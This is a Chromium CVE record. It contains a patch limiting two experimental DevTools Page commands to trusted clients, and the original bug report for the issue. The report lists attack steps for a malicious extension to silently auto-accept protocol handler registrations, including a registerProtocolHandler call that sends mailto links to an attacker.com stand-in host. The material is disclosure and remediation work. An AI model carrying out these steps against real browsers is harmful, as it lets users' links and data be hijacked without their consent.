CVE-2026-8006
Overview
Changed Functions
| Function | Change | Notes |
|---|---|---|
is_trusted_chrome/browser/devtools/protocol/page_handler.cc |
modified | |
ifchrome/browser/devtools/protocol/page_handler.cc |
modified |
Files Changed
chrome/browser/devtools/chrome_devtools_session.ccchrome/browser/devtools/protocol/page_handler.ccchrome/browser/devtools/protocol/page_handler.h
Patch
From d283fa55777a691531f3eceb8020dd890548e680 Mon Sep 17 00:00:00 2001
From: Danil Somsikov <dsv@chromium.org>
Date: Wed, 01 Apr 2026 01:21:37 -0700
Subject: [PATCH] Restrict Page.setSPCTransactionMode and Page.setRPHRegistrationMode to trusted DevTools clients
The experimental DevTools commands Page.setSPCTransactionMode and
Page.setRPHRegistrationMode lacked trust restrictions, allowing
untrusted DevTools clients (such as Chrome extensions with the
`debugger` permission) to automatically accept dialogs without user
interaction.
For Page.setSPCTransactionMode, this bypassed the primary UI where
users review transaction details (payee, amount) for Secure Payment
Confirmation (SPC), leaving only a generic OS-level biometric prompt
that lacks context and could potentially be exploited to authorize
tampered payments.
Similarly, Page.setRPHRegistrationMode could be exploited to silently
accept custom protocol handler registration prompts, bypassing user
consent.
Fixed: 496426191, 496373088
Change-Id: I49cafe716e5c81c3715f8bde30e579d4cc9a01b8
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7707756
Commit-Queue: Danil Somsikov <dsv@chromium.org>
Auto-Submit: Danil Somsikov <dsv@chromium.org>
Reviewed-by: Andrey Kosyakov <caseq@chromium.org>
Cr-Commit-Position: refs/heads/main@{#1608355}
---
diff --git a/chrome/browser/devtools/chrome_devtools_session.cc b/chrome/browser/devtools/chrome_devtools_session.cc
index e01701b..07560364 100644
--- a/chrome/browser/devtools/chrome_devtools_session.cc
+++ b/chrome/browser/devtools/chrome_devtools_session.cc
@@ -61,7 +61,8 @@
if (IsDomainAvailableToUntrustedClient<PageHandler>() ||
channel->GetClient()->IsTrusted()) {
page_handler_ = std::make_unique<PageHandler>(
- agent_host, agent_host->GetWebContents(), &dispatcher_);
+ agent_host, agent_host->GetWebContents(), &dispatcher_,
+ channel->GetClient()->IsTrusted());
}
if (IsDomainAvailableToUntrustedClient<SecurityHandler>() ||
channel->GetClient()->IsTrusted()) {
diff --git a/chrome/browser/devtools/protocol/page_handler.cc b/chrome/browser/devtools/protocol/page_handler.cc
index c5c79bf..bc3122f4 100644
--- a/chrome/browser/devtools/protocol/page_handler.cc
+++ b/chrome/browser/devtools/protocol/page_handler.cc
@@ -37,8 +37,11 @@
PageHandler::PageHandler(scoped_refptr<content::DevToolsAgentHost> agent_host,
content::WebContents* web_contents,
- protocol::UberDispatcher* dispatcher)
- : agent_host_(agent_host), web_contents_(web_contents->GetWeakPtr()) {
+ protocol::UberDispatcher* dispatcher,
+ bool is_trusted)
+ : agent_host_(agent_host),
+ web_contents_(web_contents->GetWeakPtr()),
+ is_trusted_(is_trusted) {
protocol::Page::Dispatcher::wire(dispatcher, this);
}
@@ -86,6 +89,11 @@
protocol::Response PageHandler::SetSPCTransactionMode(
const protocol::String& mode) {
+ if (!is_trusted_) {
+ return protocol::Response::ServerError(
+ "Permission denied: Page.setSPCTransactionMode requires a trusted "
+ "client");
+ }
if (!web_contents_)
return protocol::Response::ServerError("No web contents to host a dialog.");
@@ -117,6 +125,11 @@
if (!web_contents_) {
return protocol::Response::ServerError("No web contents to host a dialog.");
}
+ if (!is_trusted_) {
+ return protocol::Response::ServerError(
+ "Permission denied: Page.setRPHRegistrationMode requires a trusted "
+ "client");
+ }
custom_handlers::RphRegistrationMode rph_mode =
custom_handlers::RphRegistrationMode::kNone;
diff --git a/chrome/browser/devtools/protocol/page_handler.h b/chrome/browser/devtools/protocol/page_handler.h
index 90b717f..4c2c12fc 100644
--- a/chrome/browser/devtools/protocol/page_handler.h
+++ b/chrome/browser/devtools/protocol/page_handler.h
@@ -31,7 +31,8 @@
public:
PageHandler(scoped_refptr<content::DevToolsAgentHost> agent_host,
content::WebContents* web_contents,
- protocol::UberDispatcher* dispatcher);
+ protocol::UberDispatcher* dispatcher,
+ bool is_trusted);
PageHandler(const PageHandler&) = delete;
PageHandler& operator=(const PageHandler&) = delete;
@@ -99,6 +100,7 @@
base::WeakPtr<content::WebContents> web_contents_;
bool enabled_ = false;
+ const bool is_trusted_;
base::WeakPtrFactory<PageHandler> weak_ptr_factory_{this};
};
Original Bug Report
Protocol handler hijacking via Page.setRPHRegistrationMode
Project Fortify, an experimental security project, has identified the following potential security issue.
Overview: An extension with the debugger permission can use the Page.setRPHRegistrationMode DevTools command to silently enable profile-wide automatic acceptance of protocol handler registrations. This allows the silent, persistent hijacking of sensitive URI schemes like mailto: without a user permission prompt. Furthermore, the auto-accept state is not reverted when the debugger detaches, leaving the browser vulnerable to silent hijacking by any website.
Affected files:
chrome/browser/devtools/protocol/page_handler.ccchrome/browser/devtools/chrome_devtools_session.ccchrome/browser/ui/browser.cccomponents/custom_handlers/protocol_handler_registry.ccchrome/browser/custom_handlers/protocol_handler_registry_factory.cc
Estimated timestamp from git blame: 2025-06-23
Description
There is a potential vulnerability in how the DevTools Page domain handles the SetRPHRegistrationMode command when invoked by untrusted clients (e.g., extensions using chrome.debugger). By setting the mode to autoAccept, a malicious extension can globally bypass the user permission prompt for navigator.registerProtocolHandler().
Because the underlying ProtocolHandlerRegistry is shared profile-wide, this bypass affects the entire browser profile. When a protocol handler is registered under this mode, it is permanently saved to the user’s disk preferences. Additionally, PageHandler::Disable() fails to reset this state, meaning the browser remains in an insecure state even after the extension detaches or is uninstalled, allowing any website to silently hijack protocol handlers until the browser is restarted.
Note: The following steps are suggested/potential, as our setup does not currently have the ability to run code to verify the exploit end-to-end.
Potential Attack Steps
- A malicious extension with the
debuggerpermission is installed and useschrome.debugger.attachto attach to a tab. - The extension sends the
Page.setRPHRegistrationModecommand withmode: 'autoAccept'. - The command is handled by
PageHandler::SetRPHRegistrationMode(chrome/browser/devtools/protocol/page_handler.cc), which fetches the profile-wideProtocolHandlerRegistryand sets itsregistration_mode_tokAutoAccept. - The extension executes JavaScript in the tab (e.g., via
Runtime.evaluatewithuserGesture: true) to callnavigator.registerProtocolHandler('mailto', 'https://attacker.com/?q=%s'). - The IPC request reaches
Browser::RegisterProtocolHandler(chrome/browser/ui/browser.cc), which checks the registry’sregistration_mode(). SeeingkAutoAccept, it bypasses thePermissionRequestManagerand directly accepts the registration. - The registration is saved to disk via
ProtocolHandlerRegistry::Save(), making the hijack persistent across browser restarts. - The extension detaches.
PageHandler::Disable()(chrome/browser/devtools/protocol/page_handler.cc) is called but fails to reset theRphRegistrationMode(unlikeSPCTransactionMode, which is properly reset). - The profile remains stuck in
kAutoAcceptmode. Any arbitrary website the user visits can now silently register protocol handlers until the browser process is fully restarted.
Suggested Fix
- State Cleanup: Update
PageHandler::Disable()inchrome/browser/devtools/protocol/page_handler.ccto explicitly reset the registration mode back tokNone, similar to how it handles SPC transaction modes:SetRPHRegistrationMode(protocol::Page::SetRPHRegistrationMode::ModeEnum::None); - Scope Limitation: Consider whether untrusted DevTools clients (like extensions) should be permitted to alter profile-wide state like the
ProtocolHandlerRegistrymode. It may be appropriate to restrictSetRPHRegistrationModeto trusted clients only, or ensure the mock mode only applies to the specificWebContentsrather than the entireBrowserContext.
Evaluated with Chrome root at commit: 0eb4855bda702feaaa8b899336664f97e3df88b8
Results so far have been promising, but there can be wrong deductions. If this proves to be a false positive, please close as WAI; data from false positives will be used to improve accuracy over time. Please feel free to reach out to me if you have concerns or feedback.